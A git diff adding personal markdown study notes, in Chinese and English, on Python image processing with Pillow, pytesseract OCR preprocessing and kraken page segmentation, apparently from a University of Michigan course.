+print(sequ0[1]) +print(sequ0[2]) +``` +![Screen Shot 2020-05-31 at 16.58.47](https://i.imgur.com/oGhaGZN.png) + +--- + +### Getextrema类 + +im.getextrema() ⇒ 2-tuple + +返回一个2元组,包括该图像中的最小和最大值。 + +```py +from PIL import Image +im = Image.open("E.jpg") + +print(im.getextrema()) +# 返回R/G/B三个通道的最小和最大值的2元组。 +``` + +--- + +### Getpixel类 + +im.getpixel(xy) ⇒ value or tuple + +返回给定位置的像素值。 +- 如果图像为多通道,则返回一个元组。该方法执行比较慢;如果用户需要使用python处理图像中较大部分数据,可以使用像素访问对象(见load),或者方法getdata()。 + +```py +from PIL import Image +im = Image.open("E.jpg") + +print(im.getpixel((0,0))) # (r,b,g) +print(im.getpixel((4,0))) + +r,g,b = im.split() +print(b.getpixel((11,8))) # 123 +``` + +--- + + +## **ImageEnhance()**(图像增强) + +```python +from PIL import ImageEnhance +brightness = ImageEnhanBce.Brightness(im) +im_brightness = brightness.enhance(1.5) +im_brightness.show() + +im_contrast = ImageEnhance.Contrast(im) +im_contrast.enhance(1.5) + +im_contrast.enhance(1.5).show() +``` + +ImageEnhance是PIL下的一个子类,主要用于图像增强,比如增加亮度(Brightness),增加对比度(Contrast)等。上面的代码将原来图像的亮度增加50%,将对比度也增加了50%。 - **ImageSequence()**(处理图像序列) 下面的代码可以遍历gif图像中的所有帧,并分别保存为图像 ```python >>> from PIL import ImageSequence >>> from PIL import Image >>> gif = Image.open("pipixia.gif") >>> for i,frame in enumerate(ImageSequence.Iterator(gif),1): ... if frame.mode == 'JPEG': ... frame.save("%d.jpg" %i) ... else: ... frame.save("%d.png" % i) ``` 除了上面使用迭代器的方式以外,还可以一帧一帧读取gif,比如下面的代码: ```python >>> index = 0 >>> while 1: ... try: ... gif.seek(index) ... gif.save("%d.%s" %(index,'jpg' if gif.mode == 'JPEG' else 'png')) ... index += 1 ... except EOFError: ... print("Reach the end of gif sequence!") ... break ``` 上面的代码在读取到gif的最后一帧之后,会throw 一个 EOFError,所以我们只要捕获这个异常就可以了。 +热爱编程,热爱机器学习! + +```py +# build a list of 9 images which have different brightnesses +enhancer=ImageEnhance.Brightness(image) +images=[] +for i in range(1, 10): + images.append(enhancer.enhance(i/10)) +``` + + +--- + +## with color + +### convert类 + +#### `im.convert(mode)⇒ image` + +将当前图像转换为其他模式,并且返回新的图像。当从一个调色板图像转换时,这个方法通过这个调色板来转换像素。如果不对变量mode赋值,该方法将会选择一种模式,在没有调色板的情况下,使得图像和调色板中的所有信息都可以被表示出来。当从一个颜色图像转换为黑白图像时,PIL库使用ITU-R601-2 luma转换公式: + +L = R * 299/1000 + G * 587/1000 + B * 114/1000 + +当转换为2位图像(模式“1”)时,源图像首先被转换为黑白图像。结果数据中大于127的值被设置为白色,其他的设置为黑色;这样图像会出现抖动。如果要使用其他阈值,更改阈值127,可以使用方法point()。为了去掉图像抖动现象,可以使用dither选项。 + +```py +from PIL import Image + +im = Image.open("kkk.jpg") +new_im = im.convert('P') + +print(new_im.mode) +# P + +new_im.show() +``` + +#### `im.convert(“P”,**options) ⇒ image` + +这个与第一个方法定义一样,但是当“RGB”图像转换为8位调色板图像时能更好的处理。可供选择的选项为: + +Dither=. 控制颜色抖动。默认是FLOYDSTEINBERG,与邻近的像素一起承担错误。不使能该功能,则赋值为NONE。 + +Palette=. 控制调色板的产生。默认是WEB,这是标准的216色的“web palette”。要使用优化的调色板,则赋值为ADAPTIVE。 + +Colors=. 当选项palette为ADAPTIVE时,控制用于调色板的颜色数目。默认是最大值,即256种颜色 + +#### im.convert(mode,matrix) ⇒ image + +使用转换矩阵将一个“RGB”图像转换为“L”或者“RGB”图像。变量matrix为4或者16元组。 + +```py +from PIL import Image +im = Image.open("ggg.jpg") +print(im.mode) +# RBG + +rgb2xyz = (0.412453,0.357580, 0.180423, 0, + 0.212671,0.715160, 0.072169, 0, + 0.019334,0.119193, 0.950227, 0 ) +new_im = im.convert("L", rgb2xyz) +print(new_im.mode) +# L + +new_im.show() +``` + +--- + +### Split + +im.split() ⇒ sequence + +返回当前图像各个通道组成的一个元组。 +- 例如,分离一个“RGB”图像将产生三个新的图像,分别对应原始图像的每个通道(红,绿,蓝)。 + +```py +from PIL import Image + +im = Image.open("E.jpg") +r,g,b = im.split() + +print(r.mode) +print(r.size) +print(im.size) +``` + +--- + +### Info类 + +im.info ⇒ dictionary + +存储图像相关数据的字典。文件句柄使用该字典传递从文件中读取的各种非图像信息。大多数方法在返回新的图像时都会忽略这个字典;因为字典中的键并非标准化的,对于一个方法,它不能知道自己的操作如何影响这个字典。如果用户需要这些信息,需要在方法open()返回时保存这个字典。 + +```py +from PIL import Image + +im = Image.open("llll.jpg") + +print(im.info) +``` + +--- + + + +--- + +### `save(fp, format=None, **params)`: image.save +- fp: the filename we want to save the object too. +- format: to change the type of the image, but the docs tell us that this should be done automatically by looking at the file extension as well. Lets give it a try -- this file was originally a GifImageFile, but I bet if we save it with a .png format and read it in again we'll get a different kind of file + +```python +from PIL import Image + +im = Image.open("E:\mywife.jpg") +print(im) + +im.save("E:\mywife.png") # 将im保存为 png +im = Image.open("E:\mywife.png") # 打开新的png图片 + +print(im.format, im.size, im.mode) + +``` + +### Size类 + +#### im.size ⇒ (width, height) + +图像的尺寸,按照像素数计算,它的返回值为宽度和高度的二元组(width, height)。 + +```py +from PIL import Image +im = Image.open("fff.jpg") + +print(im.size) # 打印出尺寸信息 +# (750*560) + +im.show() +``` + +--- + +### format类 + +`im.format ⇒ string or None` + +这个属性标识了图像来源,如果图像不是从文件读取它的值就是None。 + +```py +from PIL import Image + +im = Image.open("jjj.jpg") +print(im.format) # 打印出格式信息 JPEG + +im.show() +``` + +### `filter()` +- to add some effects. +- The filter() function takes a Filter object, and those are all stored in the ImageFilter object. + +```python +from PIL import ImageFilter + +image = image.convert('RGB') # red, green, blue mode + +blurred_image = image.filter(PIL.ImageFilter.BLUR) +display(blurred_image) +``` + + + +### `ImageDraw.Draw(image)`: +draw on images using the ImageDraw object. + +```python +from PIL import ImageDraw + +drawing_object=ImageDraw.Draw(image) +drawing_object.rectangle((50,0,190,150), fill = None, outline ='red') +display(image) +``` + + +### Mode类 + +im.mode ⇒ string + +图像的模式,常见的mode 有 “L” (luminance) 表示灰度图像,“RGB”表示真彩色图像,和 “CMYK” 表示出版图像,表明图像所使用像素格式。如下表为常见的nodes描述: + +| modes | 描述 | +| ----- | ------------------------------------- | +| 1 | 1位像素,黑和白,存成8位的像素 | +| L | 8位像素,黑白 | +| P | 8位像素,使用调色板映射到任何其他模式 | +| RGB | 3× 8位像素,真彩 | +| RGBA | 4×8位像素,真彩+透明通道 | +| CMYK | 4×8位像素,颜色隔离 | +| YCbCr | 3×8位像素,彩色视频格式 | +| I | 32位整型像素 | +| F | 32位浮点型像素 | + +```py +from PIL import Image + +im = Image.open("ooo.jpg") +print(im.mode) # 打印出模式信息 +# RGB + +im.show() +``` + +--- + +### Palette类 + +im.palette ⇒ palette or None + +颜色调色板表格。 +如果图像的模式是“P”,则返回ImagePalette类的实例;否则,将为None。 + +如下为对非“P”模式下的图像进行palette信息显示。 + +```py +from PIL import Image + +# 对非“P”模式下的图像 +im = Image.open("E:\mywife.jpg") +print(im.palette) # none + +# 对图像进行convert操作,转换成“P”模式 +new_im = im.convert('P') + +print(new_im.mode) # P +print(new_im.palette) # +``` + +--- + + + + + + +### Additional PILLOW functions +use PILLOW to modify images. + +```python +# import all library functions +import PIL +from PIL import Image +from IPython.display import display + +file="readonly/msi_recruitment.gif" + +image=Image.open(file).convert('RGB') # convert it to RGB inline + +display(image) +``` + +--- + +### create contact sheets of images. + +change the brightness of the image in ten different ways, then scale the image down smaller, +- value between 0.0 (a completely black image) and 1.0 (the original image) to adjust the brightness. + +```python +# a loop to generate ten images of different brightness. +from PIL import ImageEnhance + +file="readonly/msi_recruitment.gif" + +image=Image.open(file).convert('RGB') # convert it to RGB inline + +enhancer = ImageEnhance.Brightness(image) # object with our image +images = [] +for i in range(0, 10): + images.append(enhancer.enhance(i/10)) +print(images) +``` + + +composite them in a contact sheet +- several different approaches +- create a new image which is like the first image, but ten times as high. + +`PIL.Image.new(mode, (width, height))` + +```py +first_image=images[0] + +from PIL import Image + +contact_sheet=PIL.Image.new(first_image.mode, (first_image.width,10*first_image.height)) + +# a black image that's ten times the size of the other images in the contact_sheet variable. +# loop through the image list and paste() the results in. +# The paste() function will be called on the contact_sheet object, and takes in a new image to paste +# (x,y) offset for that image +# the x position is always 0, but the y location will change by 450 pixels each time we iterate through the loop. + +current_location = 0 +for img in images: + # paste the current image into the contact sheet + contact_sheet.paste(img, (0, current_location) ) + # update the current_location counter + current_location=current_location+450 + +# resize this sheet for display. +# resize(width, height) +contact_sheet = contact_sheet.resize((160,900) ) + +# display that composite image +display(contact_sheet) +``` + + +### change this to a three by three grid of values. + +```py +1. make it 3 times the width of our image and 3 times the height of our image - a nine image square + +contact_sheet=PIL.Image.new(first_image.mode, (first_image.width*3, first_image.height*3)) + +2. iterate over images and place them into this grid. +manage the location of, one variable for the X dimension, and one for the Y dimension. + +x=0 +y=0 + +3. iterate over our images. +first one is solid black. Instead deal with the 2nd. + +for img in images[1:]: + # paste the current image into the contact sheet + contact_sheet.paste(img, (x, y) ) + # update our X position. width of the image, then we set it to 0 and update Y as well to point to the next "line" of the contact sheet. + if x+first_image.width == contact_sheet.width: + x=0 + y=y+first_image.height + else: + x=x+first_image.width + +4. resize the contact sheet. +make it half the size by dividing it by two. +resize function needs to take round numbers, we need to convert our divisions from floating point numbers into integers using the int() function. + +contact_sheet = contact_sheet.resize((int(contact_sheet.width/2),int(contact_sheet.height/2) )) + +# display that composite image +display(contact_sheet) +``` + +--- + +## Histogram类 + +`im.histogram()⇒ list` + +返回一个图像的直方图。 +- 这个直方图是关于像素数量的list,图像中的每个象素值对应一个成员。 +- 如果图像有多个通道,所有通道的直方图会连接起来(例如,“RGB”图像的直方图有768个值)。 +- 二值图像(模式为“1”)当作灰度图像(模式为“L”)处理。 + +```py +from PIL import Image +im = Image.open("E.jpg") +imhis = im.histogram() + +print(len(imhis)) + +print(imhis[0]) +print(imhis[150]) +print(imhis[300]) +``` + +`im.histogram(mask)⇒ list` + +返回图像中模板图像非零地方的直方图。模板图像与处理图像的尺寸必须相同,并且要么是二值图像(模式为“1”),要么为灰度图像(模式为“L”)。 + +```py +from PIL import Image +im = Image.open("E:\mywife.jpg") +r,g,b = im.split() +imhis = im.histogram() +print(r.mode) +print(len(imhis)) +print(imhis[0]) +print(imhis[150]) +print(imhis[300]) +``` + + +--- + +## Load类 + +### im.load() + +为图像分配内存并从文件中加载它(或者从源图像,对于懒操作)。正常情况下,用户不需要调用这个方法,因为在第一次访问图像时,Image类会自动地加载打开的图像。 + +在1.1.6及以后的版本,方法load()返回一个用于读取和修改像素的像素访问对象。这个访问对象像一个二维队列,如: + +```py +pix = im.load() +print pix[x, y] +pix[x, y] =value +``` + +通过这个对象访问比方法getpixel()和putpixel()快很多。 + +```py +from PIL import Image +im = Image.open("E.jpg") + +pix = im.load() +print(pix[0,2]) +``` + +### im.paste(colour,box) + +使用同一种颜色填充变量box对应的区域。 +- 对于单通道图像,变量colour为单个颜色值; +- 对于多通道,则为一个元组。 + +```py +from PIL import Image +im = Image.open("E.jpg") + +im.paste((256,256,0),(0,0,100,100)) #(256,256,0)表示黄色 +im.show() + +im.paste("blue",(0,0,100,100)) #或者“blue” +im.show() +``` + +### im.paste(image, box, mask) + +使用变量mask对应的模板图像来填充所对应的区域。可以使用模式为“1”、“L”或者“RGBA”的图像作为模板图像。模板图像的尺寸必须与变量image对应的图像尺寸一致。如果变量mask对应图像的值为255,则模板图像的值直接被拷贝过来;如果变量mask对应图像的值为0,则保持当前图像的原始值。变量mask对应图像的其他值,将对两张图像的值进行透明融合,如果变量image对应的为“RGBA”图像,即粘贴的图像模式为“RGBA”,则alpha通道被忽略。用户可以使用同样的图像作为原图像和模板图像。 + +```py +from PIL import Image +im = Image.open("E.jpg") + +box=[300,300,400,400] +im_crop =im.crop(box) + +r,g,b =im_crop.split() + +im.paste(im_crop, (200,200,300,300), r) +im.show() +``` + +--- + +## Putdata类 + +im.putdata(data) +im.putdata(data, scale, offset) + +从sequence对象中拷贝数据到当前图像,从图像的左上角(0,0)位置开始。变量scale和offset用来调整sequence中的值: + +pixel = value*scale + offset + +如果变量scale忽略,则默认为1.0。如果变量offset忽略,则默认为0.0。 + +```py +from PIL import Image +im = Image.open("E.jpg") +r, g, b = im.split() +print( +r.getpixel((0, 0)), +r.getpixel((1, 0)), +r.getpixel((2, 0)), +r.getpixel((3, 0)), +r.putdata([1, 2, 3, 4]), +r.getpixel((0, 0)), +r.getpixel((1, 0)), +r.getpixel((2, 0)), +r.getpixel((3, 0)), +) +``` + + + +--- + +Resize类 + +im.resize(size) ⇒ image +im.resize(size, filter) ⇒ image + +返回改变尺寸的图像的拷贝。变量size是所要求的尺寸,是一个二元组:(width, height)。变量filter为NEAREST、BILINEAR、BICUBIC或者ANTIALIAS之一。如果忽略,或者图像模式为“1”或者“P”,该变量设置为NEAREST。在当前的版本中bilinear和bicubic滤波器不能很好地适应大比例的下采样(例如生成缩略图)。用户需要使用ANTIALIAS,除非速度比质量更重要。 + + +@zhangziju +from PIL import Image +im = Image.open("E:\mywife.jpg") +region = im.resize((400, 400)) ##重新设定大小 +region.show() + +很明显由于大小的重新设定,图片的显示效果有所转变,gakki依然美腻~ + + + +Rotate类 + +im.rotate(angle) ⇒ image +im.rotate(angle,filter=NEAREST, expand=0) ⇒ image + +返回一个按照给定角度顺时钟围绕图像中心旋转后的图像拷贝。变量filter是NEAREST、BILINEAR或者BICUBIC之一。如果省略该变量,或者图像模式为“1”或者“P”,则默认为NEAREST。变量expand,如果为true,表示输出图像足够大,可以装载旋转后的图像。如果为false或者缺省,则输出图像与输入图像尺寸一样大。 + + +@zhangziju +from PIL import Image +im = Image.open("E:\mywife.jpg") +im_45 = im.rotate(45) +im_30 = im.rotate(30, Image.NEAREST,1) +print(im_45.size,im_30.size) +im_45.show() +im_30.show() + + + + + +Seek类 + +im.seek(frame) + +在给定的文件序列中查找指定的帧。如果查找超越了序列的末尾,则产生一个EOFError异常。当文件序列被打开时,PIL库自动指定到第0帧上。 + + +@zhangziju +from PIL import Image +im_gif = Image.open("E:\mywife.gif") +print(im_gif.mode) +im_gif.show() ##第0帧 +im_gif.seek(3) +im_gif.show() +im_gif.seek(9) +im_gif.show() + +来来来~这是gakki原图欣赏下~ + + + +查找帧seek()的效果如下: + + + +Tell类 + +im.tell() ⇒ integer + +返回当前帧所处位置,从0开始计算。 + + +@zhangziju +from PIL import Image +im_gif = Image.open("E:\mywife.gif") +print(im_gif.tell()) +im_gif.seek(8) +print(im_gif.tell()) + + + +Thumbnail类 + +im.thumbnail(size) +im.thumbnail(size, filter) + +修改当前图像,使其包含一个自身的缩略图,该缩略图尺寸不大于给定的尺寸。这个方法会计算一个合适的缩略图尺寸,使其符合当前图像的宽高比,调用方法draft()配置文件读取器,最后改变图像的尺寸。变量filter应该是NEAREST、BILINEAR、BICUBIC或者ANTIALIAS之一。如果省略该变量,则默认为NEAREST。注意:在当前PIL的版本中,滤波器bilinear和bicubic不能很好地适应缩略图产生。用户应该使用ANTIALIAS,图像质量最好。如果处理速度比图像质量更重要,可以选用其他滤波器。这个方法在原图上进行修改。如果用户不想修改原图,可以使用方法copy()拷贝一个图像。这个方法返回空。 + + +@zhangziju +from PIL import Image +im = Image.open("E:\mywife.jpg") +im.thumbnail((100,100)) + +Transform类 + +im.transform(size,method, data) ⇒ image +im.transform(size, method, data, filter) ⇒ image + +使用给定的尺寸生成一张新的图像,与原图有相同的模式,使用给定的转换方式将原图数据拷贝到新的图像中。在当前的PIL版本中,参数method为EXTENT(裁剪出一个矩形区域),AFFINE(仿射变换),QUAD(将正方形转换为矩形),MESH(一个操作映射多个正方形)或者PERSPECTIVE。变量filter定义了对原始图像中像素的滤波器。在当前的版本中,变量filter为NEAREST、BILINEAR、BICUBIC或者ANTIALIAS之一。如果忽略,或者图像模式为“1”或者“P”,该变量设置为NEAREST。 + + +@zhangziju +from PIL import Image +im = Image.open("E:\mywife.jpg") +print(im.size) +imtra = im.transform((200, 200), Image.EXTENT, (0, 0, 500, 500)) +print(imtra.size) +imtra.show() + + + + + +im.transform(size,EXTENT, data) ⇒ image +im.transform(size, EXTENT, data, filter) ⇒ image + +从图像中裁剪一个区域。变量data为指定输入图像中两个坐标点的4元组(x0,y0,x1,y1)。输出图像为这两个坐标点之间像素的采样结果。例如,如果输入图像的(x0,y0)为输出图像的(0,0)点,(x1,y1)则与变量size一样。这个方法可以用于在当前图像中裁剪,放大,缩小或者镜像一个任意的长方形。它比方法crop()稍慢,但是与resize操作一样快。 + +im.transform(size, AFFINE, data) ⇒ image +im.transform(size, AFFINE,data, filter) ⇒ image + +对当前的图像进行仿射变换,变换结果体现在给定尺寸的新图像中。变量data是一个6元组(a,b,c,d,e,f),包含一个仿射变换矩阵的第一个两行。输出图像中的每一个像素(x,y),新值由输入图像的位置(ax+by+c, dx+ey+f)的像素产生,使用最接近的像素进行近似。这个方法用于原始图像的缩放、转换、旋转和裁剪。 + + +@zhangziju +from PIL import Image +im = Image.open("E:\mywife.jpg") +print(im.size) +imtra = im.transform((200, 200), Image.AFFINE, (1,2,3,2,1,4)) +print(imtra.size) +imtra.show() + + + + + +im.transform(size,QUAD, data) ⇒ image +im.transform(size, QUAD, data, filter) ⇒ image + +输入图像的一个四边形(通过四个角定义的区域)映射到给定尺寸的长方形。变量data是一个8元组(x0,y0,x1,y1,x2,y2,x3,y3),它包括源四边形的左上,左下,右下和右上四个角。 + + +@zhangziju +from PIL import Image +im = Image.open("E:\mywife.jpg") +print(im.size) +imtra = im.transform((200, 200), Image.QUAD, (0,0,0,500,600,500,600,0)) +print(imtra.size) +imtra.show() + + + + + +im.transform(size,PERSPECTIVE, data) ⇒ image +im.transform(size, PERSPECTIVE, data, filter) ⇒ image + +对当前图像进行透视变换,产生给定尺寸的新图像。变量data是一个8元组(a,b,c,d,e,f,g,h),包括一个透视变换的系数。对于输出图像中的每个像素点,新的值来自于输入图像的位置的(a x + b y + c)/(g x + h y + 1), (d x+ e y + f)/(g x + h y + 1)像素,使用最接近的像素进行近似。这个方法用于原始图像的2D透视。 + + +@zhangziju +from PIL import Image +im = Image.open("E:\mywife.jpg") +print(im.size) +imtra = im.transform((200, 200), Image.PERSPECTIVE, (1,2,3,2,1,6,1,2)) +print(imtra.size) +imtra.show() + + + +wocao!!!gakki不见了!!! + + + +Transpose类 + +im.transpose(method)⇒ image + +返回当前图像的翻转或者旋转的拷贝。变量method的取值为:FLIP_LEFT_RIGHT,FLIP_TOP_BOTTOM,ROTATE_90,ROTATE_180,或ROTATE_270。 + + +@zhangziju +from PIL import Image +im = Image.open("E:\mywife.jpg") +im.rotate(45) #逆时针旋转 45 度角。 +im.transpose(Image.FLIP_LEFT_RIGHT) #左右对换。 +im.transpose(Image.FLIP_TOP_BOTTOM) #上下对换。 +im.transpose(Image.ROTATE_90) #旋转 90 度角。 +im.transpose(Image.ROTATE_180) #旋转 180 度角。 +im.transpose(Image.ROTATE_270) #旋转 270 度角。 + + + + + + + + + + + + + + +. diff --git a/_posts/00CodeNote/language/Python/course/Python15-Pillow-Tesseract-Opencv-byUMich/2.Tesseract.md b/_posts/00CodeNote/language/Python/course/Python15-Pillow-Tesseract-Opencv-byUMich/2.Tesseract.md new file mode 100644 index 00000000000..80ff549a837 --- /dev/null +++ b/_posts/00CodeNote/language/Python/course/Python15-Pillow-Tesseract-Opencv-byUMich/2.Tesseract.md @@ -0,0 +1,318 @@ + +# (Py)Tesseract Library + +[toc] + +--- + +## `pytesseract.image_to_string(image)` + +```py +from PIL import Image + +image = Image.open("readonly/text.png") +display(image) + +text = pytesseract.image_to_string(image) +print(text) +``` + + +![Screen Shot 2020-05-31 at 21.23.30](https://i.imgur.com/Icu6Lr5.png) + +### 1. not clear + +```py +from PIL import Image +import pytesseract + +img = Image.open("readonly/Noisy_OCR.PNG") +display(img) + +text = pytesseract.image_to_string(img) +print(text) + +# e magic of OCR! Using pytesseract, +# le to read the contents of this +# +# +# +# d convert it to text +``` + +### 2. `resize`: still not clear + +```py +import PIL +# set the base width of image +basewidth = 600 + +img = Image.open("readonly/Noisy_OCR.PNG") + +# get the correct aspect ratio +# divide base width by the actual width of the image +wpercent = (basewidth / float(img.size[0])) + +# get the appropriate height of the image. +hsize = int((float(img.size[1]) * float(wpercent))) + + +# resize the image. +# antialiasing is a specific way of resizing lines to try and make them appear smooth +img = img.resize((basewidth, hsize), PIL.Image.ANTIALIAS) + +# save this to a file +img.save('resized_nois.png') +display(img) + +text = pytesseract.image_to_string(Image.open('resized_nois.png')) +print(text) + +# e magic of OCR! Using pytesseract, +# le to read the contents of this +# d convert it to text +``` + + +### 3. `convert the image to greyscale`: good + +```py +# Converting images +# in PILLOW documentation: convert() and pass in the string 'L' + +img = Image.open('readonly/Noisy_OCR.PNG') +img = img.convert('L') + +img.save('greyscale_noise.jpg') +text = pytesseract.image_to_string(Image.open('greyscale_noise.jpg')) + +print(text) + +# Behold, the magic of OCR! Using pytesseract, +# we'll be able to read the contents of this +# image and convert it to text +``` + +### 4. improve OCR detection + +#### `binarization` +- separate into two distinct parts - black and white. +- Binarization is enacted through `thresholding`. +- If a pixel value is greater than a threshold value: converted to a black pixel; +- if it is lower than the threshold: converted to a white pixel. + +```py +import PIL + +img = Image.open('readonly/Noisy_OCR.PNG').convert('1') + +img.save('black_white_noise.jpg') +display(img) +``` + + + +```py +def binarize(image_to_transform, threshold): + # convert that image to a single greyscale + output_image=image_to_transform.convert("L") + + # the threshold value is usually between 0 and 255, + # which is the number of bits in a byte. + # go through every pixel in the image + # if it's greater, turn it all the way up (255), + # if it's lower, turn it all the way down (0). + + # iterate over all of the pixels + for x in range(output_image.width): + for y in range(output_image.height): + # for the given pixel at w,h, lets check its value against the threshold + if output_image.getpixel((x,y))< threshold: + # note that the first parameter is actually a tuple object + # lets set this to zero + output_image.putpixel( (x,y), 0 ) + else: + # otherwise lets set this to 255 + output_image.putpixel( (x,y), 255 ) + # return the new image + return output_image + + +# test this function over a range of different thresholds. +# try range(0, 257, 64), which should generate 5 +for thresh in range(0,257,64): + print("Trying with threshold " + str(thresh)) + # display the binarized image inline + img = Image.open('readonly/Noisy_OCR.PNG') + display(binarize(img, thresh)) + # And lets use tesseract on it. It's inefficient to binarize it twice but this is just for + # a demo + print(pytesseract.image_to_string(binarize(img, thresh))) + +0: NONE +64: 模糊 +128: 清楚 +192: 黑块 +256: 全黑 +``` + +--- + +## Tesseract and Photographs + +![Screen Shot 2020-05-31 at 21.43.16](https://i.imgur.com/EOzjb3O.jpg) + +```py +from PIL import Image +import pytesseract + +image=Image.open('readonly/storefront.jpg') +display(image) +pytesseract.image_to_string(image) +# NONE +``` + +1. crop the img + +```py +bounding_box=(315, 170, 700, 270) +title_image=image.crop(bounding_box) + + +display(title_image) +pytesseract.image_to_string(title_image) +# 'FOSSIL' +``` + + +2. image too small + +```py +from PIL import Image +import pytesseract + +image=Image.open('readonly/storefront.jpg') + +bounding_box=(900, 420, 940, 445) + +little_sign=image.crop((900, 420, 940, 445)) +display(little_sign) +# too small +``` + + +3. resize + +```py +new_size=(little_sign.width*10,little_sign.height*10) +display(little_sign.resize( new_size, Image.NEAREST)) + +options=[Image.NEAREST, Image.BOX, Image.BILINEAR, Image.HAMMING, Image.BICUBIC, Image.LANCZOS] + +for option in options: + print(option) + display(little_sign.resize( new_size, option)) + +bigger_sign=little_sign.resize(new_size, Image.BICUBIC) +# print out the text +pytesseract.image_to_string(bigger_sign) +# '' +``` + + +4. binarize + +```py +def binarize(image_to_transform, threshold): + output_image=image_to_transform.convert("L") + for x in range(output_image.width): + for y in range(output_image.height): + if output_image.getpixel((x,y))< threshold: + output_image.putpixel( (x,y), 0 ) + else: + output_image.putpixel( (x,y), 255 ) + return output_image + +binarized_bigger_sign=binarize(bigger_sign, 190) +display(binarized_bigger_sign) +pytesseract.image_to_string(binarized_bigger_sign) +# 'Lae' +``` + + +5. How to pick the best binarization + +```py + + +# an english word trying to detect, "FOSSIL". +# tried all binarizations, from 0 through 255, and looked to see if there were any english words in that list + +# First, lets load a list of english words into a list. +eng_dict=[] +with open ("readonly/words_alpha.txt", "r") as f: + data=f.read() + # split this into a list based on the new line characters + eng_dict=data.split("\n") + + +# iterate through all possible thresholds and look for an english word, printing it out if it exists +for i in range(150,170): + # lets binarize and convert this to string values + string = pytesseract.image_to_string(binarize(bigger_sign, i)) + + # remove non alphabetical characters, + # convert string to lower case only + string=string.lower() + + # then lets import the string package - it has a nice list of lower case letters + import string + + # now lets iterate over our string looking at it character by character, putting it in the comaprison text + comparison='' + for character in string: + if character in string.ascii_lowercase: + comparison=comparison+character + + # finally, search for comparison in the dictionary file + if comparison in eng_dict: + print(comparison) +# fossil +# si +# fossil +# fossil +# gas +# gas +# sl +# sl +# sil +``` + +## interact + +```py +from PIL import Image, ImageDraw +from ipywidgets import interact + +image=Image.open('readonly/storefront.jpg') + +@interact(left=100, top=100, right=200, bottom=200) + + +def draw_border(left, top, right, bottom): + img=image.copy() + drawing_object=ImageDraw.Draw(img) + drawing_object.rectangle((left,top,right,bottom), fill = None, outline ='red') + display(img) + +``` + + + + + + + + + +. diff --git a/_posts/00CodeNote/language/Python/course/Python15-Pillow-Tesseract-Opencv-byUMich/3.kraken.md b/_posts/00CodeNote/language/Python/course/Python15-Pillow-Tesseract-Opencv-byUMich/3.kraken.md new file mode 100644 index 00000000000..52574e141f0 --- /dev/null +++ b/_posts/00CodeNote/language/Python/course/Python15-Pillow-Tesseract-Opencv-byUMich/3.kraken.md @@ -0,0 +1,578 @@ +# Kraken + +- [Kraken](#kraken) + - [basic](#basic) + - [from kraken import pageseg](#from-kraken-import-pageseg) + - [Comparing Image Data Structures](#comparing-image-data-structures) + - [OpenCV](#opencv) + - [detect face](#detect-face) + - [second](#second) + - [improve](#improve) + - [More Jupyter Widgets](#more-jupyter-widgets) + +--- + +## basic + +```python +import kraken +help(kraken) +``` + +--- + +## from kraken import pageseg + +1. simple two column text and then a list of lists which are the bounding boxes of lines of that text. + + ```py + from kraken import pageseg + from PIL import Image + + im=Image.open("readonly/two_col.png") + + # display the image inline + display(im) + + # convert it to black and white + # segment it up into lines with kraken + bounding_boxes=pageseg.segment(im.convert('1'))['boxes'] + + # print those lines to the screen + print(bounding_boxes) + ``` + +![download](https://i.imgur.com/NfbVh8z.png) + +``` + [[100, 50, 449, 74], [131, 88, 414, 120], [59, 196, 522, 229], [18, 239, 522, 272], [19, 283, 522, 316], [19, 327, 525, 360], [19, 371, 523, 404], [18, 414, 524, 447], [17, 458, 522, 491], [19, 502, 141, 535], [58, 546, 521, 579], [18, 589, 522, 622], [19, 633, 521, 665], [563, 21, 1066, 54], [564, 64, 1066, 91], [563, 108, 1066, 135], [564, 152, 1065, 179], [563, 196, 1065, 229], [563, 239, 1066, 272], [562, 283, 909, 316], [600, 327, 1066, 360], [562, 371, 1066, 404], [562, 414, 1066, 447], [563, 458, 1065, 485], [563, 502, 1065, 535], [562, 546, 1066, 579], [562, 589, 1064, 622], [562, 633, 1066, 660], [18, 677, 833, 704], [18, 721, 1066, 754], [18, 764, 1065, 797], [17, 808, 1065, 841], [18, 852, 1067, 885], [18, 895, 1065, 928], [17, 939, 1065, 972], [17, 983, 1067, 1016], [18, 1027, 1065, 1060], [18, 1070, 1065, 1103], [18, 1114, 1065, 1147]] + +``` + +2. make it clear + + ```py + def show_boxes(img): + # bring in ImageDraw object + from PIL import ImageDraw + # grab a drawing object to annotate that image + drawing_object=ImageDraw.Draw(img) + + # create boxes using pageseg.segment + bounding_boxes=pageseg.segment(img.convert('1'))['boxes'] + + + for box in bounding_boxes: + # draw a nice rectangle + drawing_object.rectangle(box, fill = None, outline ='red') + # And to make it easy, lets return the image object + return img + + # display + display(show_boxes(Image.open("readonly/two_col.png"))) + ``` + +![download-1](https://i.imgur.com/VbLZmzF.png) + +3. separate the gap + +```py + +# the black_colseps parameter. If set to True, kraken will assume that columns will be separated by black lines. This isn't our case here, but, can change the source image to have a black separator between columns. + +def show_boxes(img): + '''Modifies the passed image to show a series of bounding boxes on an image as run by kraken + :param img: A PIL.Image object + :return img: The modified PIL.Image object + ''' + + from PIL import ImageDraw + drawing_object=ImageDraw.Draw(img) + + # create a set of boxes using pageseg.segment + bounding_boxes=pageseg.segment(img.convert('1'), black_colseps=True)['boxes'] + + + for box in bounding_boxes: + drawing_object.rectangle(box, fill = None, outline ='red') # draw a rectangle + return img + +display(show_boxes(Image.open("readonly/two_col.png"))) + + + +# to detect a white column separator. +# add the separator if the space of was at least 25 pixels wide, roughly the width of a character, and six lines high. +# The width is easy, lets just make a variable +char_width=25 + + + +# The height is harder, since it depends on the height of the text. I'm going to write a routine +# to calculate the average height of a line +def calculate_line_height(img): + '''Calculates the average height of a line from a given image + :param img: A PIL.Image object + :return: The average line height in pixels + ''' + + bounding_boxes=pageseg.segment(img.convert('1'))['boxes'] + # Each box is a tuple of (top, left, bottom, right) + # the height: top - bottom + height_accumulator=0 + for box in bounding_boxes: + height_accumulator=height_accumulator+box[3]-box[1] + # this is a bit tricky, remember that we start counting at the upper left corner in PIL! + # now lets just return the average height + # lets change it to the nearest full pixel by making it an integer + return int(height_accumulator/len(bounding_boxes)) + +line_height=calculate_line_height(Image.open("readonly/two_col.png")) # 31 + + +# scan through the image - looking at each pixel in turn - to determine if there is a block of whitespace. +gap_box=(0,0,char_width,line_height*6) + + + +# It seems we will want to have a function which, given a pixel in an image, can check to see +# if that pixel has whitespace to the right and below it. Essentially, 